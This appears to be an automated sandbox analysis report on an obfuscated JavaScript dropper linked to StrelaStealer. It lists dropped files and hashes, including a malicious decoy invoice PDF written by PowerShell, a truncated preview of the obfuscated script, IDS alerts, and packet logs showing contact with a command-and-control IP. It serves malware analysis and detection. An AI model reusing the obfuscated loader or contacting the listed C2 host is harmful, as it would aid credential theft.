SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\a7dbe691-8602-47ce-8565-3adc3ba2d03d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\cac766c7-9214-4bf1-9b61-75125276e4b6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15408), with CRLF line terminators
Entropy (8bit):	4.916040326356085
TrID:
File name:	53198678114324144.js
File size:	18'793 bytes
MD5:	2692758d419e279b60599413ce18217c
SHA1:	1abb9561fc7bf3649c37d86e5b1c42f4095edc76
SHA256:	f44b6b989df83e5f5ce40ed40b7e9741c94df81063714bd76c082b953de55328
SHA512:	389af702e23c32187ec188b884425e98cf226c7ddb072ceecff0b048c2fca8772679f4b93a0906b592bad7a014ee0fd58b50c35a401813dd353cf1077f41b254
SSDEEP:	384:gfH3M7zhk/ZJXHdI3DM2zCTjkZCdtkQVmmnJoXttq/T:gfH08mm4IT
TLSH:	7D8254DA41C897F240C58EEE74E390DD25A8119C86E4D4BE49972B810C3AFF5A1FB4BD
File Content Preview:	function ujfmczsd(){trmxq=[1031,3079,5127,4103,2055,3072];var hbxwry=this[ozjpja+khntw+dllubty+wtilqu+ccyzi+uvfdkgdim+jscirbvb+dhzjgrbi](this[ghwkz+rqfyz+enlgzfwx+dllubty+pgwrnsn+ozjpja+dhzjgrbi][orxkp+dllubty+ccyzi+khntw+dhzjgrbi+ccyzi+yciybvfmq+sdkoqlz+

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T05:30:02.978851+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.9	49747	193.143.1.205	80	TCP
2025-01-11T05:30:02.978851+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.9	49747	193.143.1.205	80	TCP
2025-01-11T05:30:05.705142+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.9	49767	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:30:02.155937910 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:02.160835981 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:02.160933971 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:02.163558960 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:02.168462038 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:02.978775978 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:02.978801966 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:02.978812933 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:02.978836060 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:02.978847027 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:02.978851080 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:02.978866100 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:02.978877068 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:02.978877068 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:02.978888035 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:02.978903055 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:02.978905916 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:02.978914022 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:02.978924036 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:02.978966951 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:02.983722925 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.032788992 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.032805920 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.032825947 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.032835960 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.032871962 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.032953978 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.107597113 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.107631922 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.107644081 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.107681990 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.107683897 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.107695103 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.107728958 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.107743025 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.107772112 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.107810974 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.108484983 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.108524084 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.108525991 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.108536005 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.108549118 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.108577967 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.109200954 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.109214067 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.109231949 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.109237909 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.109242916 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.109256029 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.109281063 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.109321117 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.110086918 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.110099077 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.110110998 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.110152006 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.121274948 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.121335030 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.161539078 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.161586046 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.161601067 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.161660910 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.161673069 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.161684990 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.161731005 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.200428009 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.200443029 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.200545073 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.236325026 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.236337900 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.236346006 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.236352921 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.236393929 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.236433029 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.236449957 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.236479044 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.236479044 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.236490965 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.236510038 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.236532927 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.237056971 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.237070084 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.237091064 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.237102032 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.237112999 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.237118006 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.237128973 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.237135887 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.237166882 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.237864017 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.237876892 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.237889051 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.237900019 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.237910986 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.237911940 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.237931967 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.237962961 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.238429070 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.238440037 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.238451004 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.238475084 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.238486052 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.238497972 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.238513947 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.238531113 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.238544941 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.239362001 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.239379883 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.239392996 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.239403963 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.239417076 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.239427090 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.239429951 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.239444971 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.239475965 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.240170956 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.240181923 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.240192890 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.240206003 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.240216017 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.240216970 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.240228891 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.240252972 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.240294933 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.250085115 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.250097036 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.250107050 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.250164032 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.290021896 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.290050030 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.290064096 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.290076017 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.290087938 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.290092945 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.290102959 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.290112019 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.290113926 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.290126085 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.290148973 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.290194035 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.290231943 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.290241957 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.290297985 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.324727058 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.324738979 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.324798107 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.364626884 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.364644051 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.364655972 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.364723921 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.364728928 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.364748001 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.364759922 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.364811897 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.364811897 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.364831924 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.364842892 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.364855051 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.364864111 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.364882946 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.364911079 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.365202904 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.365214109 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.365226030 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.365236998 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.365250111 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.365259886 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.365259886 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.365289927 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.365317106 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.365535975 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.365586996 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.365597963 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.365618944 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.365623951 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.365655899 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.365665913 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.365667105 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.365704060 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.365989923 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.366002083 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.366013050 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.366024017 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.366050959 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.366080999 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.366328955 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.366341114 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.366349936 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.366377115 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.366384029 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.366394997 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.366405010 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.366415977 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.366434097 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.366460085 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.366467953 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.366480112 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.366489887 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.366502047 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.366509914 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.366534948 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.367288113 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.367299080 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.367309093 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.367324114 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.367341042 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.367341042 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.367352009 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.367362976 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.367367983 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.367372990 CET	80	49747	193.143.1.205	192.168.2.9
